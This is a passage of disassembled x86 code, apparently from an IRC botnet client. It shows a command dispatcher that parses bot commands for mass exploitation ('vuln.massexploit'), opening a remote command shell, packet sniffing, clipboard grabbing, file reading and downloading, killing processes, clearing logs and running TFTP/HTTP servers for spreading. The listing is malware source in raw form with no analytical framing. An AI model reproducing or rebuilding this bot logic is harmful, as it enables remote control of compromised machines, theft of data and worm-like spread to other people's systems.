		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset a_c_lone_s___ ; ".c.lone.s..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DDB5:				; CODE XREF: sub_40CC09+1192j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDDE
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure	; "Secure"
		push	offset a_s_ecur_e___ ; ".s.ecur.e..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DDDE:				; CODE XREF: sub_40CC09+11BBj
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE07
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DE07:				; CODE XREF: sub_40CC09+11E4j
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F11
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F11
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EF0
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EF0
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ECE
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ECE
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E86
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E86
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E48
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E48
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E11
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E11
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF55
		call	sub_4086DF
		test	eax, eax
		mov	eax, offset a_e_1_0bEnz_m_4 ; ".e.(1.0b) ( enz.m.d.l ) ..  Rebooting"...
		jnz	short loc_40DF27
		mov	eax, offset a_e_1_0bEnz_m_5 ; ".e.(1.0b) ( enz.m.d.l ) ..  Failed to"...


loc_40DF27:				; CODE XREF: sub_40CC09+1317j
		push	eax
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 1Ch
		jmp	loc_410457
; ---------------------------------------------------------------------------


loc_40DF55:				; CODE XREF: sub_40CC09+1309j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D20
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D20
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D00
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D00
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C10
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C10
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BF7
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BF7
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BC0
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BC0
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B95
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B95
		push	edi
		push	offset aEnz_beg0ne ; "enz.beg0ne"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B5B
		push	edi
		push	offset aEnz_b3g	; "enz.b3g"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B5B
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A3B
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A3B
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4119B7
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4119B7
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41199A
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41199A
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411981
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411981
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411915
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411915
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E176
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40E176:				; CODE XREF: sub_40CC09+1553j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E203
		cmp	[ebp+var_8], ebx
		jnz	short loc_40E1A6
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_40E1A6:				; CODE XREF: sub_40CC09+1581j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40E1AB:				; CODE XREF: sub_40CC09+15E8j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E1B7
		mov	eax, offset aEmpty ; "<Empty>"


loc_40E1B7:				; CODE XREF: sub_40CC09+15A7j
		push	eax
		push	esi
		lea	eax, [ebp+var_1C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E1AB
		push	offset a_e_1_0bEnz_m_6 ; ".e.(1.0b) ( enz.m.d.l	) ..	Login lis"...


loc_40E1F8:				; CODE XREF: sub_40CC09+5203j
		call	sub_409833
		pop	ecx
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40CC09+157Cj
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118D4
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118D4
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118A9
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118A9
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411885
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411885
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411848
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411848
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116BC
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116BC
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411570
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411570
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411271
		push	edi
		push	offset aVall	; "vall"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411271
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset aEnz_nick ; "enz.nick"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411258
		push	[ebp+arg_8]
		push	offset aEnz_n	; "enz.n"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411258
		push	[ebp+arg_8]
		push	offset aEnz_join ; "enz.join"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411238
		push	[ebp+arg_8]
		push	offset aEnz_j	; "enz.j"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411238
		push	[ebp+arg_8]
		push	offset aEnz_part ; "enz.part"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41121F
		push	[ebp+arg_8]
		push	offset aEnz_pt	; "enz.pt"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41121F
		push	[ebp+arg_8]
		push	offset aEnz_raw	; "enz.raw"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111E8
		push	[ebp+arg_8]
		push	offset aEnz_r	; "enz.r"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4111E8
		push	[ebp+arg_8]
		push	offset aThreads_kill ; "threads.kill"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411116
		push	[ebp+arg_8]
		push	offset aThreads_k ; "threads.k"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411116
		push	[ebp+arg_8]
		push	offset aClone_quit ; "clone.quit"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41106B
		push	[ebp+arg_8]
		push	offset aClone_q	; "clone.q"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41106B
		push	[ebp+arg_8]
		push	offset aClone_rndnick ;	"clone.rndnick"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411020
		push	[ebp+arg_8]
		push	offset aClone_rn ; "clone.rn"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411020
		push	[ebp+arg_8]
		push	offset aEnz_prefix ; "enz.prefix"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41100B
		push	[ebp+arg_8]
		push	offset aEnz_pr	; "enz.pr"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41100B
		push	[ebp+arg_8]
		push	offset aBox_open ; "box.open"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FE1
		push	[ebp+arg_8]
		push	offset aBox_o	; "box.o"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FE1
		push	[ebp+arg_8]
		push	offset aEnz_setserve ; "enz.setserve"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aEnz_se	; "enz.se"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410FBC
		push	[ebp+arg_8]
		push	offset aEnz_dns	; "enz.dns"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F4C
		push	[ebp+arg_8]
		push	offset aEnz_dn	; "enz.dn"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F4C
		push	[ebp+arg_8]
		push	offset aBox_killprocna ; "box.killprocname"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F20
		push	[ebp+arg_8]
		push	offset aBox_kpn	; "box.kpn"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410F20
		push	[ebp+arg_8]
		push	offset aBox_prockillid ; "box.prockillid"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC5
		push	[ebp+arg_8]
		push	offset aBox_pkid ; "box.pkid"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410EC5
		push	[ebp+arg_8]
		push	offset aBox_delete ; "box.delete"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E8E
		push	[ebp+arg_8]
		push	offset aBox_del	; "box.del"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410E8E
		push	[ebp+arg_8]
		push	offset aDcc_get	; "dcc.get"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410DAD
		push	[ebp+arg_8]
		push	offset aDcc_gt	; "dcc.gt"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410DAD
		push	[ebp+arg_8]
		push	offset aBox_filelist ; "box.filelist"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D92
		push	[ebp+arg_8]
		push	offset aBox_fl	; "box.fl"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D92
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D57
		push	[ebp+arg_8]
		push	offset aMirc_cmd ; "mirc.cmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D57
		push	[ebp+arg_8]
		push	offset aBox_cmd	; "box.cmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D0C
		push	[ebp+arg_8]
		push	offset aBox_cm	; "box.cm"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410D0C
		push	[ebp+arg_8]
		push	offset aBox_readfile ; "box.readfile"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C87
		push	[ebp+arg_8]
		push	offset aBox_rf	; "box.rf"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410C87
		push	[ebp+arg_8]
		push	offset aSniff	; "sniff"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E7EF
		push	edi
		push	offset aOn	; "on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40E7B7
		push	19h
		call	sub_413506
		test	eax, eax
		pop	ecx
		jle	short loc_40E6E4
		push	offset a_e_1_0bSniff_m ; ".e.(1.0b) ( sniff.m.d.l ) ..  Already"...
		jmp	loc_411581
; ---------------------------------------------------------------------------


loc_40E6E4:				; CODE XREF: sub_40CC09+1ACFj
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_3DC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_354], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_350], eax
		jnz	short loc_40E726
		mov	esi, offset aCcc ; "#ccc"
		push	offset byte_438A10
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E726
		mov	esi, [ebp+var_8C]


loc_40E726:				; CODE XREF: sub_40CC09+1AFFj
					; sub_40CC09+1B15j
		push	esi
		lea	eax, [ebp+var_3D8]
		push	80h
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bSniff_0 ; ".e.(1.0b) ( sniff.m.d.l ) ..  Carnivo"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	19h
		push	eax
		call	sub_4132BE
		add	esp, 20h
		mov	[ebp+var_358], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3DC]
		push	ebx
		push	eax
		push	offset sub_40211B
		push	ebx
		push	ebx
		call	ds:off_41F070
		mov	ecx, [ebp+var_358]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40E7A6


loc_40E790:				; CODE XREF: sub_40CC09+1B9Bj
		cmp	[ebp+var_34C], ebx
		jnz	loc_410436
		push	32h
		call	ds:dword_41F050	; Sleep
		jmp	short loc_40E790
; ---------------------------------------------------------------------------


loc_40E7A6:				; CODE XREF: sub_40CC09+1B85j
		call	ds:off_41F06C
		push	eax
		push	offset a_e_1_0bSniff_1 ; ".e.(1.0b) ( sniff.m.d.l ) ..  Failed "...
		jmp	loc_4120F8
; ---------------------------------------------------------------------------


loc_40E7B7:				; CODE XREF: sub_40CC09+1ABFj
		push	edi
		push	offset off_433A48
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410436
		push	ebx
		push	19h
		call	sub_4134B9
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40E7E5
		push	eax
		push	offset a_e_1_0bSniff_2 ; ".e.(1.0b) ( sniff.m.d.l ) ..  Carnivo"...
		jmp	loc_4120F8
; ---------------------------------------------------------------------------


loc_40E7E5:				; CODE XREF: sub_40CC09+1BCFj
		push	offset a_e_1_0bSniff_3 ; ".e.(1.0b) ( sniff.m.d.l ) ..  No Carn"...
		jmp	loc_411581
; ---------------------------------------------------------------------------


loc_40E7EF:				; CODE XREF: sub_40CC09+1AAAj
		push	[ebp+arg_8]
		push	offset aBox_net	; "box.net"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EA8B
		cmp	dword_44CDA8, ebx
		jz	short loc_40E820
		cmp	dword_44CDD0, ebx
		jz	short loc_40E820
		push	offset a_e_1_0bNet_m_d ; ".e.(1.0b) ( net.m.d.l	) ..	Failed to"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E820:				; CODE XREF: sub_40CC09+1C03j
					; sub_40CC09+1C0Bj
		cmp	[ebp+var_C], ebx
		jz	loc_410690
		mov	eax, [ebp+esi+var_8C]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40E848
		push	eax
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_40E848:				; CODE XREF: sub_40CC09+1C2Fj
		push	edi
		push	offset aStart	; "start"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8AE
		cmp	[ebp+arg_18], ebx
		jz	short loc_40E882
		push	[ebp+arg_0]
		push	3


loc_40E863:				; CODE XREF: sub_40CC09+1CBBj
					; sub_40CC09+1CD3j ...
		call	sub_40B350
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_413812
		add	esp, 14h
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_40E882:				; CODE XREF: sub_40CC09+1C53j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B5F7
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40E8A4
		push	offset a_e_1_0bNet_m_0 ; ".e.(1.0b) ( net.m.d.l	) ..	Service	l"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E8A4:				; CODE XREF: sub_40CC09+1C8Fj
		push	offset a_e_1_0bNet_m_1 ; ".e.(1.0b) ( net.m.d.l	) ..	Service	l"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E8AE:				; CODE XREF: sub_40CC09+1C4Ej
		push	edi
		push	offset aStop	; "stop"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8C6
		push	[ebp+arg_0]
		push	4
		jmp	short loc_40E863
; ---------------------------------------------------------------------------


loc_40E8C6:				; CODE XREF: sub_40CC09+1CB4j
		push	edi
		push	offset aPause	; "pause"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8DE
		push	[ebp+arg_0]
		push	5
		jmp	short loc_40E863
; ---------------------------------------------------------------------------


loc_40E8DE:				; CODE XREF: sub_40CC09+1CCCj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E8F9
		push	[ebp+arg_0]
		push	6
		jmp	loc_40E863
; ---------------------------------------------------------------------------


loc_40E8F9:				; CODE XREF: sub_40CC09+1CE4j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E914
		push	[ebp+arg_0]
		push	1
		jmp	loc_40E863
; ---------------------------------------------------------------------------


loc_40E914:				; CODE XREF: sub_40CC09+1CFFj
		push	edi
		push	offset aShare	; "share"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E991
		cmp	[ebp+arg_18], ebx
		jz	short loc_40E964
		cmp	[ebp+var_8B0], bl
		jz	short loc_40E93A
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_40E945
; ---------------------------------------------------------------------------


loc_40E93A:				; CODE XREF: sub_40CC09+1D27j
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	ebx


loc_40E945:				; CODE XREF: sub_40CC09+1D2Fj
		call	sub_40B734
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_413812
		add	esp, 18h
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_40E964:				; CODE XREF: sub_40CC09+1D1Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B929
		add	esp, 10h
		test	eax, eax
		jz	short loc_40E987
		push	offset a_e_1_0bNet_m_2 ; ".e.(1.0b) ( net.m.d.l	) ..	Share lis"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E987:				; CODE XREF: sub_40CC09+1D72j
		push	offset a_e_1_0bNet_m_3 ; ".e.(1.0b) ( net.m.d.l	) ..	Share lis"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40E991:				; CODE XREF: sub_40CC09+1D1Aj
		push	edi
		push	offset aUser_2	; "user"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40EA33
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_40EA06
		cmp	[ebp+var_8B0], bl
		jz	short loc_40E9C7
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_40E9E7
; ---------------------------------------------------------------------------


loc_40E9C7:				; CODE XREF: sub_40CC09+1DAAj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_40E9E3
		push	esi
		push	eax
		push	ebx
		jmp	short loc_40E9E7
; ---------------------------------------------------------------------------


loc_40E9E3:				; CODE XREF: sub_40CC09+1DD3j
		push	ebx
		push	eax
		push	2


loc_40E9E7:				; CODE XREF: sub_40CC09+1DBCj
					; sub_40CC09+1DD8j
		call	sub_40BA4A
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_413812
		add	esp, 24h
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_40EA06:				; CODE XREF: sub_40CC09+1DA2j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40BF5E
		add	esp, 10h
		test	eax, eax
		jz	short loc_40EA29
		push	offset a_e_1_0bNet_m_4 ; ".e.(1.0b) ( net.m.d.l	) ..	User list"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40EA29:				; CODE XREF: sub_40CC09+1E14j
		push	offset a_e_1_0bNet_m_5 ; ".e.(1.0b) ( net.m.d.l	) ..	User list"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40EA33:				; CODE XREF: sub_40CC09+1D97j
		push	edi
		push	offset aSend	; "send"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40EA81
		cmp	[ebp+arg_18], ebx
		jz	short loc_40EA77
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C212
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_413812
		add	esp, 1Ch
		jmp	loc_410690
; ---------------------------------------------------------------------------


loc_40EA77:				; CODE XREF: sub_40CC09+1E3Ej
		push	offset a_e_1_0bNet_m_6 ; ".e.(1.0b) ( net.m.d.l	) ..	No messag"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40EA81:				; CODE XREF: sub_40CC09+1E39j
		push	offset a_e_1_0bNet_m_7 ; ".e.(1.0b) ( net.m.d.l	) ..	Command	u"...
		jmp	loc_410682
; ---------------------------------------------------------------------------


loc_40EA8B:				; CODE XREF: sub_40CC09+1BF7j
		push	[ebp+arg_8]
		push	offset aEnz_gethost ; "enz.gethost"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BA3
		push	[ebp+arg_8]
		push	offset aEnz_gh	; "enz.gh"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410BA3
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40CFCD
		push	[ebp+arg_8]
		push	offset aEnz_addalias ; "enz.addalias"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B64
		push	[ebp+arg_8]
		push	offset aEnz_aa	; "enz.aa"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B64
		push	[ebp+arg_8]
		push	offset aEnz_privmsg ; "enz.privmsg"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B11
		push	[ebp+arg_8]
		push	offset aEnz_pm	; "enz.pm"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410B11
		push	[ebp+arg_8]
		push	offset aEnz_action ; "enz.action"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410AA3
		push	[ebp+arg_8]
